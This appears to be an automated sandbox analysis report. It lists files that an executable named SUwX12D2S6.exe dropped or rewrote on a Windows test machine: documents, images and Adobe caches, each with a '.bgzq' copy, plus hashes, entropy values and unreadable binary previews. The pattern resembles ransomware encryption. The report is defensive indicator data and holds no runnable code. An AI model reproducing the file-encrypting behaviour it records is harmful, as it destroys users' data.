MD5:	99E0B36A413B8CC56152B5340191858D
SHA1:	364C3D7D68B462AB292CC65409516B0FE32DDCE8
SHA-256:	C16AA142715FABC74AAC634527082DE7391C779C05F11B117EDE32A5F16BFD33
SHA-512:	A5757FBD2480CD17B6773E1651C6C99A867C3EE58AF2EB4252E000E82741B67BF09CFBAB109D069A8B475F527D0CCD5A846C45241D909494EFD9F1E176F839A1
Malicious:	false
Preview:	LTKMY.H.}l.$.Y.....}..>....C6....$)3.,..y..q.!.....$,..Z.7p..@..3$..........}\.+.`dv..B....+....X((....TfQ...'.`.....].:j1.hH.:.3@3..;~...Mp=.a...u..gZ^....w.B)..3...Y.w.}Q.'.."B...t.<..K6.3....D....%Au...L.M.O..W.fL ;...'.......D...`.....;....ST.8...l..i..$.........H .a6.XB.._..A......^A(.).`3.f..Bp5......h.3..\BU.IJ:v.w({.`.....(-I..8O.-.....D.Y..2lL..dD.~...O...P....@E<~.7..=.9.d7.....^.+....Ut(3`q....q..;..qv........cE}/g....x.j.) ..%.c..v..B..E.t.p.....k...hhS..#.{...n...%......,/....F-.S..}..8..%..X\|..M.....L.f..=.u..C..d",.d8.VQ-.w..5`I#....GC....E&{.a.j..K..g.%....dv+Fme.p.@..M...P0;.9..)..R..l.N..{...i.w.4.W.~.`.....m..m..\|....Jm....Y.2do..K@.D.+6..+<..^..}.[.....V.."....'.D...K..........o.......U..)..\|..8Mm..7<.^..._..v..b...."...g..e.76.g."..O..C..#.6oVPiU.......Y.Dro.d...c6./..1...<...d..<...EDK0.I\.m.C....z.G.]U....S[.-.......=0...GmG.7)y8".cm.p0.p..(.aAp....]..la.t....q4..2..J......}.^.dI..)......{..ML.i.K..Y5...

C:\Users\user\Documents\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860623181096466
Encrypted:	false
SSDEEP:	24:BnEv2aQuTHONZ1hN61XfDKiGH5v4lkTTDBVwM2zMbAyuLAtdqBeVbD:dEv2ruTHmZ1beX7KFZ00/wK8yk0dqIFD
MD5:	5F33C9642ACFD82F1121CFF98402262A
SHA1:	4ED725AED1FB12BB7AED209D852F30CCCE9D6195
SHA-256:	5C4BA26B9C31AAE55BD81EF975E9BBC908ADF26919C06E0E7FC16FA75F2A2510
SHA-512:	D8F4727596D3B0C6ECC45068BE98C0FEBCBC57E6F125032AC1E0A5D89E568A5FFEAAF26833EED4DF70E5E1A9607DAC6E78B9142E23053F3540C24F94C6DB4DA5
Malicious:	false
Preview:	VLZDG...Q..M...i.....}{.'......y).@.S...fSEl.`...C....Ri$.#J;.$d..'..p....N..".h..e...(._.zL= 2..-.`@y(..Z.J...R"h...]mt..!...+.4......w5X..}],..l.n.l.B.r...>..<..PnP....wgm...%..dj...c.....Co.2.7...A.g.q...1y...........}a...-..W-.5....O....V....Q.mT.!@....E...i+.._........@....e4...NQ..{:..''Z2...]...,<ma.).....\|..L..X+.....~{.g,9..D........GE.......h.%(...;......A.dT...cNP...G)H.~i....n.s'y.......K\.r.h\...#..&...J..C..B.F.S/v..s.0d..h0#x.l.D..c{K....M....,?`R..Z..-.-.3D@".....9S.....L..:A/. ...zQ4.e.=..'..B.....g...A....z.E2[.".....G...#AO.._\|YE+.3.@....?...#K.oj=.+.!..\|O5..F^.....U..C<.BQq.....F..v$C.....nt....A....c.o.....O......\|......F....~%....{L...Y......L.3.\|I.`.n,."f..r..5.P..i.uv...H)...t....C...%..{O6.u..............GL7O..x.3...T.~.EE`+...+..v.P.~.t..v.:....4.[...v..{.....\..wr...L.Y...yWI....Jz.o...k%.`7Sk(.......Rm.EK4..W...G{......J.....7o...cN.j..Qwjw.9.73..py..;.a..{....q..f[......H.u....`.0.H..,.lg7"..R..X....[.p^.

C:\Users\user\Documents\VLZDGUKUTZ.docx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860623181096466
Encrypted:	false
SSDEEP:	24:BnEv2aQuTHONZ1hN61XfDKiGH5v4lkTTDBVwM2zMbAyuLAtdqBeVbD:dEv2ruTHmZ1beX7KFZ00/wK8yk0dqIFD
MD5:	5F33C9642ACFD82F1121CFF98402262A
SHA1:	4ED725AED1FB12BB7AED209D852F30CCCE9D6195
SHA-256:	5C4BA26B9C31AAE55BD81EF975E9BBC908ADF26919C06E0E7FC16FA75F2A2510
SHA-512:	D8F4727596D3B0C6ECC45068BE98C0FEBCBC57E6F125032AC1E0A5D89E568A5FFEAAF26833EED4DF70E5E1A9607DAC6E78B9142E23053F3540C24F94C6DB4DA5
Malicious:	false
Preview:	VLZDG...Q..M...i.....}{.'......y).@.S...fSEl.`...C....Ri$.#J;.$d..'..p....N..".h..e...(._.zL= 2..-.`@y(..Z.J...R"h...]mt..!...+.4......w5X..}],..l.n.l.B.r...>..<..PnP....wgm...%..dj...c.....Co.2.7...A.g.q...1y...........}a...-..W-.5....O....V....Q.mT.!@....E...i+.._........@....e4...NQ..{:..''Z2...]...,<ma.).....\|..L..X+.....~{.g,9..D........GE.......h.%(...;......A.dT...cNP...G)H.~i....n.s'y.......K\.r.h\...#..&...J..C..B.F.S/v..s.0d..h0#x.l.D..c{K....M....,?`R..Z..-.-.3D@".....9S.....L..:A/. ...zQ4.e.=..'..B.....g...A....z.E2[.".....G...#AO.._\|YE+.3.@....?...#K.oj=.+.!..\|O5..F^.....U..C<.BQq.....F..v$C.....nt....A....c.o.....O......\|......F....~%....{L...Y......L.3.\|I.`.n,."f..r..5.P..i.uv...H)...t....C...%..{O6.u..............GL7O..x.3...T.~.EE`+...+..v.P.~.t..v.:....4.[...v..{.....\..wr...L.Y...yWI....Jz.o...k%.`7Sk(.......Rm.EK4..W...G{......J.....7o...cN.j..Qwjw.9.73..py..;.a..{....q..f[......H.u....`.0.H..,.lg7"..R..X....[.p^.

C:\Users\user\Documents\VLZDGUKUTZ\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849629647879735
Encrypted:	false
SSDEEP:	24:FqBxjyYSwEZtJoEHEP0wGRZrbrn6/BmtTaZm/NklJJH4gCdzfxAhYVbD:wBxZm/9wGRZr/n65k5/Gl4gCRyhYFD
MD5:	691845613AD99B45A6D2F44989937379
SHA1:	09293C6A660683BAEC98A858E888BE08C6054FA8
SHA-256:	57BB488A49366077EED823F85651B9638467EA55117B1B9EDD4976053B286270
SHA-512:	2DDB6CD1BFC6177936379A5AB7A5919FC6B1C90EF0BB329DB887ABD1C7CBE30A5E7D732B6F07769E380354ADE1229F30A008CA54BAFCDE1CE81B8B1F546812DF
Malicious:	false
Preview:	UMMBDjOa`... ..."..`...Q.H..@..I.V...d.d7.4+..\|]K.S..W.h:'.g....._X.TC.LQ.cov..W.c.5...eliu.....n.Hf~-...AG@..%d....Z.$'.m!..hg..!..y'.z...?...%.7v..h0....U.f..ue@.~..3.i.$[.7..B.B.C..o9.Y...#.v."...m..<]z......._d.....Ex..0`Z.i...=...W.C0...(....s...P...h./..).[...T.p..........X..............<%..N.i..........,Ks..]~...`.......(.;.$..,..=h..B..J}kO.i.....$2...^.....p{.}..... 8.j.I,.}....y.nn^......>.5.C.M.,D.(p^..{H.......48......k......."b....y...:..........s....l..V..x...-..n...rV6.7....W...](.........VbN.&.:.2..../.r.....(.M.#6..`.....X..S.&)...v.j...KI..hg..O."....rp..m..g.QU..h..7.8...&..........X.9..N.....y .....K/....@.tM+....7.......L.Ez..p...I.?.........\.U......[...'#....."..4g..[.{...)...U....P..v..i...W....:..d... r`R8..9.....u_t.&.....L.2..\|.KG.$...L......!s...$ .A....`v.].E.N..WNa2...A.S..o......0.d.... xN\|....)n".Bf....4.eQ4...<E..5......d...5t.Gk..+.E8..o.xm.S.....9.}p.Z.`=m.*O..... ...~(...)1g.G#.r.\.}}...N..x%

C:\Users\user\Documents\VLZDGUKUTZ\UMMBDNEQBN.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849629647879735
Encrypted:	false
SSDEEP:	24:FqBxjyYSwEZtJoEHEP0wGRZrbrn6/BmtTaZm/NklJJH4gCdzfxAhYVbD:wBxZm/9wGRZr/n65k5/Gl4gCRyhYFD
MD5:	691845613AD99B45A6D2F44989937379
SHA1:	09293C6A660683BAEC98A858E888BE08C6054FA8
SHA-256:	57BB488A49366077EED823F85651B9638467EA55117B1B9EDD4976053B286270
SHA-512:	2DDB6CD1BFC6177936379A5AB7A5919FC6B1C90EF0BB329DB887ABD1C7CBE30A5E7D732B6F07769E380354ADE1229F30A008CA54BAFCDE1CE81B8B1F546812DF
Malicious:	false
Preview:	UMMBDjOa`... ..."..`...Q.H..@..I.V...d.d7.4+..\|]K.S..W.h:'.g....._X.TC.LQ.cov..W.c.5...eliu.....n.Hf~-...AG@..%d....Z.$'.m!..hg..!..y'.z...?...%.7v..h0....U.f..ue@.~..3.i.$[.7..B.B.C..o9.Y...#.v."...m..<]z......._d.....Ex..0`Z.i...=...W.C0...(....s...P...h./..).[...T.p..........X..............<%..N.i..........,Ks..]~...`.......(.;.$..,..=h..B..J}kO.i.....$2...^.....p{.}..... 8.j.I,.}....y.nn^......>.5.C.M.,D.(p^..{H.......48......k......."b....y...:..........s....l..V..x...-..n...rV6.7....W...](.........VbN.&.:.2..../.r.....(.M.#6..`.....X..S.&)...v.j...KI..hg..O."....rp..m..g.QU..h..7.8...&..........X.9..N.....y .....K/....@.tM+....7.......L.Ez..p...I.?.........\.U......[...'#....."..4g..[.{...)...U....P..v..i...W....:..d... r`R8..9.....u_t.&.....L.2..\|.KG.$...L......!s...$ .A....`v.].E.N..WNa2...A.S..o......0.d.... xN\|....)n".Bf....4.eQ4...<E..5......d...5t.Gk..+.E8..o.xm.S.....9.}p.Z.`=m.*O..... ...~(...)1g.G#.r.\.}}...N..x%

C:\Users\user\Downloads\HTAGVDFUIE.jpg

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843780984901491
Encrypted:	false
SSDEEP:	24:sBFSZPiYaUFxEs3yNagiVWKgveZu8qT4Q4o5KH0ZMrQH35KVbD:eSZ6hUFxEs3KagiVWAiTnJd+rQXcFD
MD5:	007F6BF1849A2D64371F06113E01D9B8
SHA1:	85D0E3526D946C9211652E778D26FF719C9ADB96
SHA-256:	F83478EC06DE700D31FF4F6554A155F67211AF76E03B61FE4D51BDA736C7F873
SHA-512:	20686195EDDE39EE6770BFCB39DBA6B4F6322D9F6FC16534A2F0D2EE0E7F02DAE1B6060CFEB2EC3374DE8EFF4902E9C4C207BAB910A07A9A01F576573DDF59E5
Malicious:	false
Preview:	HTAGV......"..;&..".,hpW....\|D. 1.&8...(@...X&.>\|D<$...g........b.#..f..Sh..#tOA..O.F...A_....Rk.O..p&......W....6..?_O..z5B........(.K....9. .....Y..aB..I`...I..>..H+....%&,.~.b{Be(Mk.\|\|.....q/....!.\|..pH7..0.-hb...go..#.gKw...._..X0J5.j..m.&~..9z.y..A#/e..O.,.\...;......N.y.....J./$..w.g:l...c$..;/E....J..-.5.zv.3.!M..b%5{?..[.o....%..;I.\|>.f0.....&_.\|.5V.......,l.....bB;G...z.....K&j...&b...\|#a-....ur.gc...Cr........a{.,K.L.v.c..M..w.._...u...5].L.[P[.*..c.5.'Hd1...=......._.....`.Gt..../u,+ ..M.%\..A.Q.N.....P'...V.ftz...3...N^A`.....HU... .x.Y3.....oo+....&..[..,.=..(.$.>..k.D.iv&d...=..H.i..\..._}T\1.....4'fG .......ty.s..vq..[._..wy.SE+......,.O.7........]E=.y(...0B.K.!...h9......V....A....>.2Z..SR..}.....3......y#..S..~.".a.>`...y....}.p%.H-.L{...........Czb.....i..=~...........6.7?"V.Y.!J....m....S.{.f......o. ..=.tHA5.B...;.1.r...d:>`.....i...D..@P..{...\|..y..J... .....v..p..,...2..>..s....d5.....7..a3.8..<5.:.w?..8.v.&J...

C:\Users\user\Downloads\HTAGVDFUIE.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843780984901491
Encrypted:	false
SSDEEP:	24:sBFSZPiYaUFxEs3yNagiVWKgveZu8qT4Q4o5KH0ZMrQH35KVbD:eSZ6hUFxEs3KagiVWAiTnJd+rQXcFD
MD5:	007F6BF1849A2D64371F06113E01D9B8
SHA1:	85D0E3526D946C9211652E778D26FF719C9ADB96
SHA-256:	F83478EC06DE700D31FF4F6554A155F67211AF76E03B61FE4D51BDA736C7F873
SHA-512:	20686195EDDE39EE6770BFCB39DBA6B4F6322D9F6FC16534A2F0D2EE0E7F02DAE1B6060CFEB2EC3374DE8EFF4902E9C4C207BAB910A07A9A01F576573DDF59E5
Malicious:	false
Preview:	HTAGV......"..;&..".,hpW....\|D. 1.&8...(@...X&.>\|D<$...g........b.#..f..Sh..#tOA..O.F...A_....Rk.O..p&......W....6..?_O..z5B........(.K....9. .....Y..aB..I`...I..>..H+....%&,.~.b{Be(Mk.\|\|.....q/....!.\|..pH7..0.-hb...go..#.gKw...._..X0J5.j..m.&~..9z.y..A#/e..O.,.\...;......N.y.....J./$..w.g:l...c$..;/E....J..-.5.zv.3.!M..b%5{?..[.o....%..;I.\|>.f0.....&_.\|.5V.......,l.....bB;G...z.....K&j...&b...\|#a-....ur.gc...Cr........a{.,K.L.v.c..M..w.._...u...5].L.[P[.*..c.5.'Hd1...=......._.....`.Gt..../u,+ ..M.%\..A.Q.N.....P'...V.ftz...3...N^A`.....HU... .x.Y3.....oo+....&..[..,.=..(.$.>..k.D.iv&d...=..H.i..\..._}T\1.....4'fG .......ty.s..vq..[._..wy.SE+......,.O.7........]E=.y(...0B.K.!...h9......V....A....>.2Z..SR..}.....3......y#..S..~.".a.>`...y....}.p%.H-.L{...........Czb.....i..=~...........6.7?"V.Y.!J....m....S.{.f......o. ..=.tHA5.B...;.1.r...d:>`.....i...D..@P..{...\|..y..J... .....v..p..,...2..>..s....d5.....7..a3.8..<5.:.w?..8.v.&J...

C:\Users\user\Downloads\WUTJSCBCFX.jpg

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840223634082734
Encrypted:	false
SSDEEP:	24:9698lIiUEUXMlPSjEyvx48sI9n6/eezVjNGFA5f2wicef3z0nwcVbD:E98XV0DhsI96tNGFOefotFD
MD5:	C9DECE8BD0612BC81E2B177A71607D52
SHA1:	1427B503277608DBC6C85D58AA8F67E8BF210DD5
SHA-256:	91F63C5E150B3D5A04BABD8AB4FDA664E72175C8D8698934BF30011D3B53C3FF
SHA-512:	20ABCE13AAA4C6CF18122FEB944D6D06F368F01402781A4AA2CBC55A3AB3EA736E796D15FF3723F14E6E8EAA593640A5BFAD9E5B13016811C988154D20FD86BF
Malicious:	false
Preview:	WUTJS...p.MSU.d=.'}.[^2..~...e....M..\|..Db1.d...6.oY.h...v.6sZ.g.m..B...D0......-..@..].y.....aNC.s?4.%l[..........t.G..!1..uY...wG..#..k.2....2JXT.7.a...@...o.vH.,..p.dW.+.. ..8qI.+\..+..LNO:..'.....3 ......U...:......='QsA{....`.P..7.IS...T...s....k.\...o...t..~\....~......h....#.s].?.....E.rl...J2.&....u.8.:......^...1..j.?..].......?......T..L2{..f..n@.8..AR...`J.n...{Q.34D._nR.>.wY.V..E......4......7..&.y.,6('...N..f..5LKx..D$..A].q.s.z.....s. .=...b.V.yI..RC`..b..-...qV...._x.=..$J......$W...7:a......n........-...B.._h[....C..1!v.Xi...p...g..i...e..I....h\.>..E[......J..1.:....g.....t.".q...l.......3. .f@...A..l7.....Iawg.s..{.X5g.w.J.x'....A..@\|\|y.K......0Cz..ANh...53A..........8..eXt..>.@.T..c.5..o\|.....m....p...*].b....lK...B.[.@\|...].o.n../z.....n..&{8..nH1..Z...gttR..Q.>U.(.7.H).P..+z....-..r@.s..........T{8....#....),THK....@Y....9Q<.t.p.......ka.v.....u...Q..F.?H0..a.:.d.B!...S...[E\..(.<..O.u.A.[...h...2.N9.M3P'..

C:\Users\user\Downloads\WUTJSCBCFX.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840223634082734
Encrypted:	false
SSDEEP:	24:9698lIiUEUXMlPSjEyvx48sI9n6/eezVjNGFA5f2wicef3z0nwcVbD:E98XV0DhsI96tNGFOefotFD
MD5:	C9DECE8BD0612BC81E2B177A71607D52
SHA1:	1427B503277608DBC6C85D58AA8F67E8BF210DD5
SHA-256:	91F63C5E150B3D5A04BABD8AB4FDA664E72175C8D8698934BF30011D3B53C3FF
SHA-512:	20ABCE13AAA4C6CF18122FEB944D6D06F368F01402781A4AA2CBC55A3AB3EA736E796D15FF3723F14E6E8EAA593640A5BFAD9E5B13016811C988154D20FD86BF
Malicious:	false
Preview:	WUTJS...p.MSU.d=.'}.[^2..~...e....M..\|..Db1.d...6.oY.h...v.6sZ.g.m..B...D0......-..@..].y.....aNC.s?4.%l[..........t.G..!1..uY...wG..#..k.2....2JXT.7.a...@...o.vH.,..p.dW.+.. ..8qI.+\..+..LNO:..'.....3 ......U...:......='QsA{....`.P..7.IS...T...s....k.\...o...t..~\....~......h....#.s].?.....E.rl...J2.&....u.8.:......^...1..j.?..].......?......T..L2{..f..n@.8..AR...`J.n...{Q.34D._nR.>.wY.V..E......4......7..&.y.,6('...N..f..5LKx..D$..A].q.s.z.....s. .=...b.V.yI..RC`..b..-...qV...._x.=..$J......$W...7:a......n........-...B.._h[....C..1!v.Xi...p...g..i...e..I....h\.>..E[......J..1.:....g.....t.".q...l.......3. .f@...A..l7.....Iawg.s..{.X5g.w.J.x'....A..@\|\|y.K......0Cz..ANh...53A..........8..eXt..>.@.T..c.5..o\|.....m....p...*].b....lK...B.[.@\|...].o.n../z.....n..&{8..nH1..Z...gttR..Q.>U.(.7.H).P..+z....-..r@.s..........T{8....#....),THK....@Y....9Q<.t.p.......ka.v.....u...Q..F.?H0..a.:.d.B!...S...[E\..(.<..O.u.A.[...h...2.N9.M3P'..

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.399263288689167
Encrypted:	false
SSDEEP:	12:9DqEE+fJJWb5VVosN/cRHLISfsqPwejVcii9a:9DqknW9UeUlESfsq4cVbD
MD5:	31360836F44CFB132E543DCD582A39E7
SHA1:	6DB72CDCB3E183C3307741F9AF98FAA92C50EB68
SHA-256:	8C878B7A80ADFFEF0262AE8125B97108D3AE1E14943EAC5BC1AB45915C26F4E6
SHA-512:	59C0AD171CA46DDE14333CE8DEBC58DA149C3B005933B295A16DFDEFBA87F62499DF3E6A50417AF18DC2134EF9003618DED373B690780FCADF80A43E96FF2937
Malicious:	false
Preview:	[{000.W9...c..m._.h.).-:. ..~.O..%z.{>@..c.6....D$..m.z.b.....G...7.HG.2.mc.P.fr.4;.q":.m..Q.A./......C./.......wH...qq9.g~..........e..)s_./..).......Pu~........2~.../...^..L.z.RN#.?.U.G....h..x_.J..yQ.......0......q...q...`....FF..9.*....K/....BX....".E....!u..E..o.E.e\|..AJ...u:.O.%q_p.....n.a..G...z..Xv..FJ)P`~x`_1.Q..R..v...I....c&.._...x.)V..D..E...Vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.399263288689167
Encrypted:	false
SSDEEP:	12:9DqEE+fJJWb5VVosN/cRHLISfsqPwejVcii9a:9DqknW9UeUlESfsq4cVbD
MD5:	31360836F44CFB132E543DCD582A39E7
SHA1:	6DB72CDCB3E183C3307741F9AF98FAA92C50EB68
SHA-256:	8C878B7A80ADFFEF0262AE8125B97108D3AE1E14943EAC5BC1AB45915C26F4E6
SHA-512:	59C0AD171CA46DDE14333CE8DEBC58DA149C3B005933B295A16DFDEFBA87F62499DF3E6A50417AF18DC2134EF9003618DED373B690780FCADF80A43E96FF2937
Malicious:	false
Preview:	[{000.W9...c..m._.h.).-:. ..~.O..%z.{>@..c.6....D$..m.z.b.....G...7.HG.2.mc.P.fr.4;.q":.m..Q.A./......C./.......wH...qq9.g~..........e..)s_./..).......Pu~........2~.../...^..L.z.RN#.?.U.G....h..x_.J..yQ.......0......q...q...`....FF..9.*....K/....BX....".E....!u..E..o.E.e\|..AJ...u:.O.%q_p.....n.a..G...z..Xv..FJ)P`~x`_1.Q..R..v...I....c&.._...x.)V..D..E...Vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.877487181277478
Encrypted:	false
SSDEEP:	48:2RnHJ2HbT7mOBvZjgO2vRahl4LmAV28zABDSBypHnn7FD:2RH4fhvZjQahoVN0cyxn79
MD5:	E3D172824E60BC66CBCC9123CB1519AD
SHA1:	EA64EA28571A12C9BB63E5F2F34A2412D9335859
SHA-256:	8D3AFFD6B60D84FE62CB463E573D57817001F696330AE183164034DE4E4DCEBB
SHA-512:	B628F2B3037DFB8B3C40B9A44DD0F1D9F31287854AA11300966313A5B018ADFF078915F1F70167EE9DCC0B33DA097EBED571213081DE7569B1A464187FA92333
Malicious:	false
Preview:	%!Ado........_/....%T.Y.............(?.JS......D....6...N:.g.x.6..%b....<.bgv..u`..../.....(..[.no+.....\....K%.d}.....~?`.2.../=R....@.FB.Q;....".,..&.9J...`>.p/..v..fa..H.Z...g....e...9.S\|..P.Y.I.x.....U...v}H.C.LE......g....k..A.......k...zU....$.1_.`3<......L..y....]G8nf...p..$.v.Z.g).%..).E........:...Y..'k.....'.?Vku?..U>.G.......+_.'I.5pP&N....[....d..).f..61b2.....C.Y....e...3....d.?k5).k..W."f....^.n.....b.J,...j.h.#..B.bQz..g..E.M.m6.>.L.n...O?.=g..>?....8.%4..&......N.B.x.k.DL~.....R$1...h..&]\|.^R.....'..+.......z..(........kJU.l...H...\.V..x....3rA.t...\..y{.6.:<.(.Y-...)J..=....Y.....@.7....8A%......h..KM.........W....I.-.?.R...D..jq...%..n.rG.]..tL.I....Z.......`.0.b.gGOL...^GC.a....0b..P...$.....$+...k.+f.r.....qA..bpT5prW+c.U..s2..}.._L..;.5hw..h....."z..V@.<(........5..9D...W-d.~...y02m....U=J.U.y7..e..".F..cP)&.....)u......".&.M........t..3'.\..={.n..J......X......v....].c.Q....i(..a....W...3.Kpa?i....~>....{.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.877318492599662
Encrypted:	false
SSDEEP:	3072:4MtUuuRl6ScKHsKJ3bjnmnr+fEYJ1uECWtN7UhgpnGZR0CQmabndpXE07ZmandGY:UuMkScKlFjmzlWtRUSG0mIpXE07Zman7
MD5:	BD1CA91B37BE4AB6874C9D5FEC5F17C6
SHA1:	97DE9FB17B24E903000E250906DE865E407D36A4
SHA-256:	686FDFCA0A5574CC8A1D944848CE929643DFB28D6B29BA8C6D246FA742E5BC34
SHA-512:	7C9CBB6410D714F66BCEB5E76EA91D922FBEA9E9319D34D197A244040B062099A21466209723A3A47DEEE2A9FB298C810D37331AAE6E3A64338295C7B0C2F487
Malicious:	false
Preview:	%!Ado...H...$.#.>...F\|....j..n.....\H...fkf.gX.A...k..h..:...Kby.....r(.m...F..."gY9.Rg.C-y.......r..]..........\.s.u@S.Po.:.>..L.............i.v......1.R..".Dz.UN....ms.W..>.5.s.(E...3...pw..P.f.......<..D>.N.._.R.Ei...i,...'...H....}.....`.v.N...Mu.K....M.......s.1.....T!..hv;..0lPw.v.O).....2.S2l.ci.Q......0..V..P..xv'.8..A...eBuP{D...:...%........:...z L...Q...)h.$..HVBm...h+.QWI..@..(LZ..V..."..D..H.....s....M.AC.9L........K.T...)m....I.B.C...1.Y.>...........uJ.....i.....&..Z .gq8.3z)...bL.....{+......g..&v/....O,.m._K...3..R...B..B.{._..x.zm....~....h.J..N_8.A..?...rO.1.g/$.W...'6(..N?Q........C...mr.....m.....@V6=.aU..h..c....\|s.;..r.b%.".X ..X$Z,5.2 t...g..<u....i[.J.o..?..d.l\.t.......+...Vj.O.6C.$...c6.E./Y.....Vcr.....4'....ca#.=1...;....4<.@/.d.C.}.f12...6.X.]..... "_Iu.......5.......Z...\|G.....0..:.F.,..f1.!..$h...`..........A.ix!.E...5C...DB...[..Rh.."....gc1...N..<y2....M.`S...\|....5..?..iI.\.9.;.......V.<MU.h.c..Wz

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.820170613358564
Encrypted:	false
SSDEEP:	3072:NilQh0ccPdR1WuWx+uKa3R3/QxucvnlO4eI4e550ECPsUNwzXcPHsHBOolNlnX:NilQFcX1WBhK4ElO9IHVUsGwDc/sHBnX
MD5:	EE8CC1F407D721F4DAEAE7115B910869
SHA1:	B8F7A888E209A3A90184B619A971196904F9F023
SHA-256:	8328E20F1B90658E39CF41E851C8B4BB914598BBF3A32747F89B4E4E52A2568A
SHA-512:	7D87A20810C6C5CF5DA312EEC01553803D2E24DA351BDD729CFC04743745F5F3B526C6E2FD84A5D7BCC954BFA5E2002D47024789BBA4C7D366E2122A7E7BB614
Malicious:	false
Preview:	Adobe..s......%Q..K[}..H@....X.O...$...X..?/.B8x..o)..)...}...?...y;..7...#T.5j.../5Q..:...'...C...9f.q...)......{...:(.......&R.MO..N./..W...H.{.gk.DW/... .A.i..Sf&.....n..J....%....I2.....Bu"..TM....Hz.r....8m.".....A..zVM.<..{.s1..2.........Bh.x.+.]...j.l...u..~.%.jw..y.dy.....k.Uy>.d2../......t.+.L..`9j.zL}M....h...c...bO?.....P...A >....b'.l.....F[zMO.../..!^..(.=8.. J.8.....S..?...)eA%.....#..!.I.......Z........W%Y.5...b..OjF....%..}m....\|..f.C)=>^..z.U.\|.O.w.z..w......-~y..l..5.....b.L.)CZ.U.s....7j.-"}...c.......`'.+...n`n..J.>..G.i!j{8.w..E.tt.....>m>.c..F..^t.N.6...qQ.}..F".E..rFY.C.F7..\|.s..]%>m..b$ry.\|.._..>eb..H...zHuWw...I..K.........i.]._.,.M.o..x.._..9....p...q....?...lKa..6d.>.j[...h..2....*.....Gk..}.c..1m...9.Q.1...&.3.GZ..b......K(...\|.. .j...........{.B..j...W.&.f;.L....r!.N8..r..]....U.=@.....+?.4.b......(....$-....x...j~...dz..@".i....Q.....D..).m....<.st.l_@..ok...+1..7..+..j'.W....q'..qf..[...i.p8%

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997142337727674
Encrypted:	true
SSDEEP:	1536:Mv/aA3XWtk4yEBJqfcQpsj0HVX++x5Fk3ecGJ9BduxPj+c4bGLb:RA3Gtk2T+hVOscGbHuNKbQb
MD5:	994766B4854E50390406E847625C09D7
SHA1:	553D7E5E3F5ADA22669214D90BAFA61787025914
SHA-256:	575E252D43543AF99AE7FF7BA4B65A20AD340E9E502D61ED722209C27819C2B2
SHA-512:	87D547E82D1C43561CF4B94BC5DE4EAFB8AC38B35CB88F0698E11450A236251FAA184B456470652109638BD657BF9745D3A5F2D5ABBDDC5E74C230E7BDDDD962
Malicious:	true
